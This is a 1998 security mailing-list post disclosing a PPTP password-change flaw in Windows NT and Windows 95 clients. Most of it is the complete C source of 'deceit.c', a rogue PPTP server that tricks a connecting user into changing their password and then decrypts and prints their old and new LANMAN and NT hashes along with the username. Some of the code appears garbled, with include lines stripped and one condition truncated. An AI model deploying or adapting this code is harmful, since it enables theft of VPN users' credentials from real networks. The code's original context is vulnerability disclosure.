Everhart, Glenn From: Aleph One [aleph1@dfw.net] Sent: Monday, July 13, 1998 2:02 PM To: BUGTRAQ@NETSPACE.ORG; ntbugtraq@listserv.ntbugraq.com Cc: secure-nt@wwa.com; ntsecurity@iss.net Subject: [NTSEC] PPTP Password Theft Vulnerability TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomo@iss.net Contact ntsecurity-owner@iss.net for help with any problems! --------------------------------------------------------------------------- In case you didn't catch it, I wrote a little article for Phrack summarizing the different PPTP vulnerabilities. All of it has already been discussed except for one item. I mentioned this vulnerability on NTBugTraq a couple of months ago but no one paid much attention. To make it short, an attacker that can masquerade as a PPTP server (via DNS cache poisoning, etc) can obtain the connecting user's password hashes if they user is naive enough to change his password when the server tells him his password has expired. The problem affects both the Windows NT PPTP client with the latest updates and the latest Windows 95 Dial-Up Networking. Attached you will find a small program that demonstrates the problem. It fixes some minor bugs in the Phrack article (don't you love -Wall -pedantic). Aleph One / aleph1@dfw.net http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 --- deceit.c --- /* * deceit.c by Aleph One * * This program implements enough of the PPTP protocol to steal the * password hashes of users that connect to it by asking them to change * their password via the MS-CHAP password change protocol version 1. * * The GRE code, PPTP structures and defines were shamelessly stolen from * C. Scott Ananian's Linux PPTP client * implementation. * * This code has been tested to work againts Windows 95 with the Winsock, * DUN 1.2 and DUN 1.2b updates, and against Windows NT 4.0 with the PPTP * Performance Update running under HP-UX. * * Windows 95 does not send the old and new NT hashes when changing the * password. * * Under Windows NT 4.0 if the user has selected to use the same username * and password to logon to the PPTP server as the currently logged on * user but enters a different old password when the PPTP client password * change dialog box appears the client will send the hash for a null * string for both the old LANMAN hash and the old NT hash. * * You must link this program against libdes. Email messages asking how * to do so will go to /dev/null. * * Define BROKEN_RAW_CONNECT if your system does not know how to handle * connect() on a raw socket. Normally if you use connect with a raw * socket you should only get from the socket IP packets with the * source address that you specified to connect(). Under HP-UX using * connect makes read never to return. By not using connect we * run the risk of confusing the GRE decapsulation process if we receive * GRE packets from more than one source at the same time. */ #include #include #include #include #include #include #include #include "des.h" #ifdef __hpux__ #define u_int8_t uint8_t #define u_int16_t uint16_t #define u_int32_t uint32_t #endif /* define these as appropiate for your architecture */ #define hton8(x) (x) #define ntoh8(x) (x) #define hton16(x) htons(x) #define ntoh16(x) ntohs(x) #define hton32(x) htonl(x) #define ntoh32(x) ntohl(x) #define PPTP_MAGIC 0x1A2B3C4D /* Magic cookie for PPTP datagrams */ #define PPTP_PORT 1723 /* PPTP TCP port number */ #define PPTP_PROTO 47 /* PPTP IP protocol number */ #define PPTP_MESSAGE_CONTROL 1 #define PPTP_MESSAGE_MANAGE 2 #define PPTP_VERSION_STRING "1.00" #define PPTP_VERSION 0x100 #define PPTP_FIRMWARE_STRING "0.01" #define PPTP_FIRMWARE_VERSION 0x001 /* (Control Connection Management) */ #define PPTP_START_CTRL_CONN_RQST 1 #define PPTP_START_CTRL_CONN_RPLY 2 #define PPTP_STOP_CTRL_CONN_RQST 3 #define PPTP_STOP_CTRL_CONN_RPLY 4 #define PPTP_ECHO_RQST 5 #define PPTP_ECHO_RPLY 6 /* (Call Management) */ #define PPTP_OUT_CALL_RQST 7 #define PPTP_OUT_CALL_RPLY 8 #define PPTP_IN_CALL_RQST 9 #define PPTP_IN_CALL_RPLY 10 #define PPTP_IN_CALL_CONNECT 11 #define PPTP_CALL_CLEAR_RQST 12 #define PPTP_CALL_CLEAR_NTFY 13 /* (Error Reporting) */ #define PPTP_WAN_ERR_NTFY 14 /* (PPP Session Control) */ #define PPTP_SET_LINK_INFO 15 /* (Framing capabilities for msg sender) */ #define PPTP_FRAME_ASYNC 1 #define PPTP_FRAME_SYNC 2 #define PPTP_FRAME_ANY 3 /* (Bearer capabilities for msg sender) */ #define PPTP_BEARER_ANALOG 1 #define PPTP_BEARER_DIGITAL 2 #define PPTP_BEARER_ANY 3 struct pptp_header { u_int16_t length; /* message length in octets, including header */ u_int16_t pptp_type; /* PPTP message type. 1 for control message. */ u_int32_t magic; /* this should be PPTP_MAGIC. */ u_int16_t ctrl_type; /* Control message type (0-15) */ u_int16_t reserved0; /* reserved. MUST BE ZERO. */ }; struct pptp_start_ctrl_conn { /* for control message types 1 and 2 */ struct pptp_header header; u_int16_t version; /* PPTP protocol version. = PPTP_VERSION */ u_int8_t result_code; /* these two fields should be zero on rqst msg*/ u_int8_t error_code; /* 0 unless result_code==2 (General Error) */ u_int32_t framing_cap; /* Framing capabilities */ u_int32_t bearer_cap; /* Bearer Capabilities */ u_int16_t max_channels; /* Maximum Channels (=0 for PNS, PAC ignores) */ u_int16_t firmware_rev; /* Firmware or Software Revision */ u_int8_t hostname[64]; /* Host Name (64 octets, zero terminated) */ u_int8_t vendor[64]; /* Vendor string (64 octets, zero term.) */ /* MS says that end of hostname/vendor fields should be filled with */ /* octets of value 0, but Win95 PPTP driver doesn't do this. */ }; struct pptp_out_call_rqst { /* for control message type 7 */ struct pptp_header header; u_int16_t call_id; /* Call ID (unique id used to multiplex data) */ u_int16_t call_sernum; /* Call Serial Number (used for logging) */ u_int32_t bps_min; /* Minimum BPS (lowest acceptable line speed) */ u_int32_t bps_max; /* Maximum BPS (highest acceptable line speed) */ u_int32_t bearer; /* Bearer type */ u_int32_t framing; /* Framing type */ u_int16_t recv_size; /* Recv. Window Size (no. of buffered packets) */ u_int16_t delay; /* Packet Processing Delay (in 1/10 sec) */ u_int16_t phone_len; /* Phone Number Length (num. of valid digits) */ u_int16_t reserved1; /* MUST BE ZERO */ u_int8_t phone_num[64]; /* Phone Number (64 octets, null term.) */ u_int8_t subaddress[64]; /* Subaddress (64 octets, null term.) */ }; struct pptp_out_call_rply { /* for control message type 8 */ struct pptp_header header; u_int16_t call_id; /* Call ID (used to multiplex data over tunnel)*/ u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst)*/ u_int8_t result_code; /* Result Code (1 is no errors) */ u_int8_t error_code; /* Error Code (=0 unless result_code==2) */ u_int16_t cause_code; /* Cause Code (addt'l failure information) */ u_int32_t speed; /* Connect Speed (in BPS) */ u_int16_t recv_size; /* Recv. Window Size (no. of buffered packets) */ u_int16_t delay; /* Packet Processing Delay (in 1/10 sec) */ u_int32_t channel; /* Physical Channel ID (for logging) */ }; struct pptp_set_link_info { /* for control message type 15 */ struct pptp_header header; u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst) */ u_int16_t reserved1; /* MUST BE ZERO */ u_int32_t send_accm; /* Send ACCM (for PPP packets; default 0xFFFFFFFF)*/ u_int32_t recv_accm; /* Receive ACCM (for PPP pack.;default 0xFFFFFFFF)*/ }; #define PPTP_GRE_PROTO 0x880B #define PPTP_GRE_VER 0x1 #define PPTP_GRE_FLAG_C 0x80 #define PPTP_GRE_FLAG_R 0x40 #define PPTP_GRE_FLAG_K 0x20 #define PPTP_GRE_FLAG_S 0x10 #define PPTP_GRE_FLAG_A 0x80 #define PPTP_GRE_IS_C(f) ((f)&PPTP_GRE_FLAG_C) #define PPTP_GRE_IS_R(f) ((f)&PPTP_GRE_FLAG_R) #define PPTP_GRE_IS_K(f) ((f)&PPTP_GRE_FLAG_K) #define PPTP_GRE_IS_S(f) ((f)&PPTP_GRE_FLAG_S) #define PPTP_GRE_IS_A(f) ((f)&PPTP_GRE_FLAG_A) struct pptp_gre_header { u_int8_t flags; /* bitfield */ u_int8_t ver; /* should be PPTP_GRE_VER (enhanced GRE) */ u_int16_t protocol; /* should be PPTP_GRE_PROTO (ppp-encaps) */ u_int16_t payload_len; /* size of ppp payload, not inc. gre header */ u_int16_t call_id; /* peer's call_id for this session */ u_int32_t seq; /* sequence number. Present if S==1 */ u_int32_t ack; /* seq number of highest packet recieved by */ /* sender in this session */ }; #define PACKET_MAX 8196 static u_int32_t ack_sent, ack_recv; static u_int32_t seq_sent, seq_recv; static u_int16_t pptp_gre_call_id; #define PPP_ADDRESS 0xFF #define PPP_CONTROL 0x03 /* PPP Protocols */ #define PPP_PROTO_LCP 0xc021 #define PPP_PROTO_CHAP 0xc223 /* LCP Codes */ #define PPP_LCP_CODE_CONF_RQST 1 #define PPP_LCP_CODE_CONF_ACK 2 #define PPP_LCP_CODE_IDENT 12 /* LCP Config Options */ #define PPP_LCP_CONFIG_OPT_AUTH 3 #define PPP_LCP_CONFIG_OPT_MAGIC 5 #define PPP_LCP_CONFIG_OPT_PFC 7 #define PPP_LCP_CONFIG_OPT_ACFC 8 /* Auth Algorithms */ #define PPP_LCP_AUTH_CHAP_ALGO_MSCHAP 0x80 /* CHAP Codes */ #define PPP_CHAP_CODE_CHALLENGE 1 #define PPP_CHAP_CODE_RESPONCE 2 #define PPP_CHAP_CODE_SUCESS 3 #define PPP_CHAP_CODE_FAILURE 4 #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V1 5 #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V2 6 #define PPP_CHAP_CHALLENGE_SIZE 8 #define PPP_CHAP_RESPONCE_SIZE 49 #define MSCHAP_ERROR "E=648 R=0" struct ppp_header { u_int8_t address; u_int8_t control; u_int16_t proto; }; struct ppp_lcp_chap_header { u_int8_t code; u_int8_t ident; u_int16_t length; }; struct ppp_lcp_packet { struct ppp_header ppp; struct ppp_lcp_chap_header lcp; }; struct ppp_lcp_chap_auth_option { u_int8_t type; u_int8_t length; u_int16_t auth_proto; u_int8_t algorithm; }; struct ppp_lcp_magic_option { u_int8_t type; u_int8_t length; u_int32_t magic; }; struct ppp_lcp_pfc_option { u_int8_t type; u_int8_t length; }; struct ppp_lcp_acfc_option { u_int8_t type; u_int8_t length; }; struct ppp_chap_challenge { u_int8_t size; union { unsigned char challenge[8]; struct { unsigned char lanman[24]; unsigned char nt[24]; u_int8_t flag; } responce; } value; /* name */ }; struct ppp_mschap_change_password { char old_lanman[16]; char new_lanman[16]; char old_nt[16]; char new_nt[16]; u_int16_t pass_length; u_int16_t flags; }; #define ppp_chap_responce ppp_chap_challenge void net_init(); void getjiggywithit(); void handleit(struct sockaddr_in *); void send_start_ctrl_conn_rply(); void send_out_call_rply(struct pptp_out_call_rqst *, struct sockaddr_in *); int decaps_gre (int (*cb)(void *pack, unsigned len)); int encaps_gre (void *pack, unsigned len); int do_ppp(void *pack, unsigned len); void do_gre(struct sockaddr_in *); void send_lcp_conf_rply(void *); void send_lcp_conf_rqst(); void send_chap_challenge(); void send_chap_failure(); void print_challenge_responce(void *); void paydirt(void *); char *n; int sd, rsd, pid; void main(int argc, char **argv) { n = argv[0]; net_init(); getjiggywithit(); } void net_init() { int yes = 1; struct sockaddr_in sa; if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror(n); exit(1); } if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) != 0) { perror(n); exit(1); } bzero((char *) &sa, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(PPTP_PORT); sa.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(sd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror(n); exit(1); } if (listen(sd, 5) < 0) { perror(n); exit(1); } } void getjiggywithit() { struct sockaddr_in sa; int sucker, size; size = sizeof(sa); if ((sucker = accept(sd, (struct sockaddr *)&sa, &size)) == -1) { perror(n); exit(1); } close(sd); sd = sucker; handleit(&sa); exit(0); } void handleit(struct sockaddr_in *sa) { union { struct pptp_header h; unsigned char buffer[8196]; } p; int hlen, len, type; hlen = sizeof(struct pptp_header); for(;;) { len = read(sd, p.buffer, hlen); if (len == -1) { perror(n); exit(1); } if (len != hlen) { printf("Short read.\n"); exit(1); } len = read(sd, p.buffer + hlen, ntoh16(p.h.length) - hlen); if (len == -1) { perror(n); exit(1); } if (len != (ntoh16(p.h.length) - hlen)) {printf("Short read.\n"); exit(1);} if (ntoh32(p.h.magic) != 0x1A2B3C4D) { printf("Bad magic.\n"); exit(1); } if (ntoh16(p.h.pptp_type) != 1) {printf("Not a control message.\n");exit(1);} type = ntoh16(p.h.ctrl_type); switch(type) { /* we got a live one */ case PPTP_START_CTRL_CONN_RQST: send_start_ctrl_conn_rply(); break; case PPTP_OUT_CALL_RQST: send_out_call_rply((struct pptp_out_call_rqst *)&p, sa); break; case PPTP_SET_LINK_INFO: printf("<- PPTP Set Link Info\n"); break; default: printf("<- PPTP unknown packet: %d\n", type); } } } void send_start_ctrl_conn_rply() { struct pptp_start_ctrl_conn p; int len, hlen; hlen = sizeof(struct pptp_start_ctrl_conn); printf("<- PPTP Start Control Connection Request\n"); printf("-> PPTP Start Control Connection Reply\n"); bzero((char *)&p, hlen); p.header.length = hton16(hlen); p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL); p.header.magic = hton32(PPTP_MAGIC); p.header.ctrl_type = hton16(PPTP_START_CTRL_CONN_RPLY); p.version = hton16(PPTP_VERSION); p.result_code = 1; p.framing_cap = hton32(PPTP_FRAME_ASYNC); /* whatever */ p.bearer_cap = hton32(PPTP_BEARER_ANALOG); /* ditto */ bcopy("owned", p.hostname, 5); bcopy("r00t", p.vendor, 4); len = write(sd, &p, hlen); if (len == -1) { perror(n); exit(1); } if (len != hlen) { printf("Short write.\n"); exit(1); } } static gre = 0; void send_out_call_rply(struct pptp_out_call_rqst *r, struct sockaddr_in *sa) { struct pptp_out_call_rply p; int len, hlen; hlen = sizeof(struct pptp_out_call_rply); printf("<- PPTP Outgoing Call Request\n"); printf("-> PPTP Outgoing Call Reply\n"); pptp_gre_call_id = r->call_id; /* Start a process to handle the GRE/PPP packets */ if (!gre) { gre = 1; switch((pid = fork())) { case -1: perror(n); exit(1); case 0: close(sd); do_gre(sa); exit(1); /* not reached */ } } bzero((char *)&p, hlen); p.header.length = hton16(hlen); p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL); p.header.magic = hton32(PPTP_MAGIC); p.header.ctrl_type = hton16(PPTP_OUT_CALL_RPLY); p.call_id = hton16(31337); p.call_id_peer = r->call_id; p.result_code = 1; p.speed = hton32(28800); p.recv_size = hton16(5); /* whatever */ p.delay = hton16(50); /* whatever */ p.channel = hton32(31337); len = write(sd, &p, hlen); if (len == -1) { perror(n); exit(1); } if (len != hlen) { printf("Short write.\n"); exit(1); } } struct sockaddr_in src_addr; void do_gre(struct sockaddr_in *sa) { #ifndef BROKEN_RAW_CONNECT struct sockaddr_in src_addr; #endif int n, stat; /* Open IP protocol socket */ rsd = socket(AF_INET, SOCK_RAW, PPTP_PROTO); if (rsd<0) { perror("gre"); exit(1); } src_addr.sin_family = AF_INET; src_addr.sin_addr = sa->sin_addr; src_addr.sin_port = 0; #ifndef BROKEN_RAW_CONNECT if (connect(rsd, (struct sockaddr *) &src_addr, sizeof(src_addr))<0) { perror("gre"); exit(1); } #endif ack_sent = ack_recv = seq_sent = seq_recv = 0; stat=0; /* Dispatch loop */ while (stat>=0) { /* until error happens on s */ struct timeval tv = {0, 0}; /* non-blocking select */ fd_set rfds; int retval; n = rsd + 1; FD_ZERO(&rfds); FD_SET(rsd, &rfds); /* if there is a pending ACK, do non-blocking select */ if (ack_sent!=seq_recv) retval = select(n, &rfds, NULL, NULL, &tv); else /* otherwise, block until data is available */ retval = select(n, &rfds, NULL, NULL, NULL); if (retval==0 && ack_sent!=seq_recv) /* if outstanding ack */ encaps_gre(NULL, 0); /* send ack with no payload */ if (FD_ISSET(rsd, &rfds)) /* data waiting on socket */ stat=decaps_gre(do_ppp); } /* Close up when done. */ close(rsd); } int decaps_gre (int (*cb)(void *pack, unsigned len)) { unsigned char buffer[PACKET_MAX+64/*ip header*/]; struct pptp_gre_header *header; int status, ip_len=0; if((status=read(rsd, buffer, sizeof(buffer)))<0) {perror("gre"); exit(1); } /* strip off IP header, if present */ if ((buffer[0]&0xF0)==0x40) ip_len = (buffer[0]&0xF)*4; header = (struct pptp_gre_header *)(buffer+ip_len); /* verify packet (else discard) */ if (((ntoh8(header->ver)&0x7F)!=PPTP_GRE_VER) || /* version should be 1 */ (ntoh16(header->protocol)!=PPTP_GRE_PROTO)|| /* GRE protocol for PPTP */ PPTP_GRE_IS_C(ntoh8(header->flags)) || /* flag C should be clear */ PPTP_GRE_IS_R(ntoh8(header->flags)) || /* flag R should be clear */ (!PPTP_GRE_IS_K(ntoh8(header->flags))) || /* flag K should be set */ ((ntoh8(header->flags)&0xF)!=0)) { /* routing and recursion ctrl = 0 */ /* if invalid, discard this packet */ printf("Discarding GRE: %X %X %X %X %X %X", ntoh8(header->ver)&0x7F, ntoh16(header->protocol), PPTP_GRE_IS_C(ntoh8(header->flags)), PPTP_GRE_IS_R(ntoh8(header->flags)), PPTP_GRE_IS_K(ntoh8(header->flags)), ntoh8(header->flags)&0xF); return 0; } if (PPTP_GRE_IS_A(ntoh8(header->ver))) { /* acknowledgement present */ u_int32_t ack = (PPTP_GRE_IS_S(ntoh8(header->flags)))? header->ack:header->seq; /* ack in different place if S=0 */ if (ack > ack_recv) ack_recv = ack; /* also handle sequence number wrap-around (we're cool!) */ if (((ack>>31)==0)&&((ack_recv>>31)==1)) ack_recv=ack; } if (PPTP_GRE_IS_S(ntoh8(header->flags))) { /* payload present */ unsigned headersize = sizeof(*header); unsigned payload_len= ntoh16(header->payload_len); u_int32_t seq = ntoh32(header->seq); if (!PPTP_GRE_IS_A(ntoh8(header->ver))) headersize-=sizeof(header->ack); /* check for incomplete packet (length smaller than expected) */ if (status-headersize seq_recv) || (((seq>>31)==0) && (seq_recv>>31)==1)) { seq_recv = seq; return cb(buffer+ip_len+headersize, payload_len); } else { printf("discarding out-of-order\n"); return 0; /* discard out-of-order packets */ } } return 0; /* ack, but no payload */ } int encaps_gre (void *pack, unsigned len) { union { struct pptp_gre_header header; unsigned char buffer[PACKET_MAX+sizeof(struct pptp_gre_header)]; } u; static u_int32_t seq=0; unsigned header_len; /* package this up in a GRE shell. */ u.header.flags = hton8 (PPTP_GRE_FLAG_K); u.header.ver = hton8 (PPTP_GRE_VER); u.header.protocol = hton16(PPTP_GRE_PROTO); u.header.payload_len = hton16(len); u.header.call_id = hton16(pptp_gre_call_id); /* special case ACK with no payload */ if (pack==NULL) if (ack_sent != seq_recv) { u.header.ver |= hton8(PPTP_GRE_FLAG_A); u.header.payload_len = hton16(0); u.header.seq = hton32(seq_recv); /* ack is in odd place because S=0 */ ack_sent = seq_recv; #ifndef BROKEN_RAW_CONNCET return write(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq)); #else return sendto(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq), 0, (struct sockaddr *) &src_addr, sizeof(src_addr)); #endif } else return 0; /* we don't need to send ACK */ /* send packet with payload */ u.header.flags |= hton8(PPTP_GRE_FLAG_S); u.header.seq = hton32(seq); if (ack_sent != seq_recv) { /* send ack with this message */ u.header.ver |= hton8(PPTP_GRE_FLAG_A); u.header.ack = hton32(seq_recv); ack_sent = seq_recv; header_len = sizeof(u.header); } else { /* don't send ack */ header_len = sizeof(u.header) - sizeof(u.header.ack); } if (header_len+len>=sizeof(u.buffer)) return 0; /* drop this, it's too big */ /* copy payload into buffer */ memcpy(u.buffer+header_len, pack, len); /* record and increment sequence numbers */ seq_sent = seq; seq++; /* write this baby out to the net */ #ifndef BROKEN_RAW_CONNECT return write(rsd, u.buffer, header_len+len); #else return sendto(rsd, &u.buffer, header_len+len, 0, (struct sockaddr *) &src_addr, sizeof(src_addr)); #endif } int do_ppp(void *pack, unsigned len) { struct { struct ppp_header ppp; struct ppp_lcp_chap_header header; } *p; p = pack; switch(ntoh16(p->ppp.proto)) { case PPP_PROTO_LCP: switch(ntoh8(p->header.code)) { case PPP_LCP_CODE_CONF_RQST: printf("<- LCP Configure Request\n"); send_lcp_conf_rply(pack); send_lcp_conf_rqst(); break; case PPP_LCP_CODE_CONF_ACK: printf("<- LCP Configure Ack\n"); send_chap_challenge(pack); break; case PPP_LCP_CODE_IDENT: /* ignore */ break; default: printf("<- LCP unknown packet: C=%X I=%X L=%X\n", p->header.code, p->header.ident, ntoh16(p->header.length)); } break; case PPP_PROTO_CHAP: switch(ntoh8(p->header.code)) { case PPP_CHAP_CODE_RESPONCE: printf("<- CHAP Responce\n"); print_challenge_responce(pack); send_chap_failure(); break; case PPP_CHAP_CODE_MSCHAP_PASSWORD_V1: paydirt(pack); break; default: printf("<- CHAP unknown packet: C=%X I=%X L=%X\n", p->header.code, p->header.ident, ntoh16(p->header.length)); } break; default: printf("<- PPP unknwon packet: %X\n", ntoh16(p->ppp.proto)); } return(1); } void send_lcp_conf_rply(void *pack) { struct { struct ppp_header ppp; struct ppp_lcp_chap_header lcp; } *p = pack; printf("-> LCP Configure Ack\n"); p->lcp.code = hton8(PPP_LCP_CODE_CONF_ACK); encaps_gre(p, ntoh16(p->lcp.length) + sizeof(struct ppp_header)); } void send_lcp_conf_rqst() { struct { struct ppp_header ppp; struct ppp_lcp_chap_header lcp; struct ppp_lcp_chap_auth_option auth; } pkt; printf("-> LCP Configure Request\n"); bzero(&pkt, sizeof(pkt)); pkt.ppp.address = hton8(PPP_ADDRESS); pkt.ppp.control = hton8(PPP_CONTROL); pkt.ppp.proto = hton16(PPP_PROTO_LCP); pkt.lcp.code = hton8(PPP_LCP_CODE_CONF_RQST); pkt.lcp.ident = hton8(9); pkt.lcp.length = hton16(4 +5); pkt.auth.type = hton8(PPP_LCP_CONFIG_OPT_AUTH); pkt.auth.length = hton8(5); pkt.auth.auth_proto = hton16(PPP_PROTO_CHAP); pkt.auth.algorithm = hton8(PPP_LCP_AUTH_CHAP_ALGO_MSCHAP); encaps_gre(&pkt, 13); } void send_chap_challenge() { struct { struct ppp_header ppp; struct ppp_lcp_chap_header chap; struct ppp_chap_challenge challenge; } pkt; printf("-> CHAP Challenge\n"); bzero(&pkt, sizeof(pkt)); pkt.ppp.address = hton8(PPP_ADDRESS); pkt.ppp.control = hton8(PPP_CONTROL); pkt.ppp.proto = hton16(PPP_PROTO_CHAP); pkt.chap.code = hton8(PPP_CHAP_CODE_CHALLENGE); pkt.chap.length = hton16(13); pkt.challenge.size = hton8(8); encaps_gre(&pkt, 4 + 13); } void print_challenge_responce(void *pack) { unsigned char name[512], *c; int len; struct { struct ppp_header ppp; struct ppp_lcp_chap_header chap; struct ppp_chap_challenge responce; } *p; p = pack; c = p->responce.value.responce.lanman; printf(" LANMAN Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10], c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21], c[22], c[23]); c = p->responce.value.responce.nt; printf(" NTHash Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10], c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21], c[22], c[23]); printf(" Use NT hash: %d\n", p->responce.value.responce.flag); bzero(name, 512); len = ntoh16(p->chap.length) - 54; bcopy(((char *)p) + 4 + 54, name, len); name[len] = '\0'; printf(" User: %s\n", name); } void send_chap_failure() { struct { struct ppp_header ppp; struct ppp_lcp_chap_header chap; char message[64]; } pkt; printf("-> CHAP Failure\n"); bzero(&pkt, sizeof(pkt)); pkt.ppp.address = hton8(PPP_ADDRESS); pkt.ppp.control = hton8(PPP_CONTROL); pkt.ppp.proto = hton16(PPP_PROTO_CHAP); pkt.chap.code = hton8(PPP_CHAP_CODE_FAILURE); pkt.chap.length = hton16(4 + strlen(MSCHAP_ERROR)); strncpy(pkt.message, MSCHAP_ERROR, strlen(MSCHAP_ERROR)); encaps_gre(&pkt, 4 + 4 + strlen(MSCHAP_ERROR)); } extern int des_check_key; void paydirt(void *pack) { unsigned char out[8], out2[8], key[8]; struct { struct ppp_header ppp; struct ppp_lcp_chap_header chap; struct ppp_mschap_change_password passwds; } *pkt; des_key_schedule ks; pkt = pack; bzero(key, 8); printf("<- MSCHAP Change Password Version 1 Packet.\n"); /* Turn off checking for weak keys within libdes */ des_check_key=0; des_set_odd_parity((des_cblock *)key); des_set_key((des_cblock *)key, ks); des_ecb_encrypt((des_cblock *)pkt->passwds.old_lanman,(des_cblock *) out, ks, 0); des_ecb_encrypt((des_cblock *)(pkt->passwds.old_lanman + 8), (des_cblock *)out2, ks, 0); printf(" Old LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]); des_ecb_encrypt((des_cblock *)pkt->passwds.new_lanman,(des_cblock *) out, ks, 0); des_ecb_encrypt((des_cblock *)(pkt->passwds.new_lanman + 8), (des_cblock *)out2, ks, 0); printf(" New LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]); des_ecb_encrypt((des_cblock *)pkt->passwds.old_nt,(des_cblock *) out, ks, 0); des_ecb_encrypt((des_cblock *)(pkt->passwds.old_nt + 8), (des_cblock *)out2, ks, 0); printf(" Old NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]); des_ecb_encrypt((des_cblock *)pkt->passwds.new_nt,(des_cblock *) out, ks, 0); des_ecb_encrypt((des_cblock *)(pkt->passwds.new_nt + 8), (des_cblock *)out2, ks, 0); printf(" New NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]); printf(" New Password Length: %d\n", ntoh16(pkt->passwds.pass_length)); kill(pid, SIGTERM); exit(0);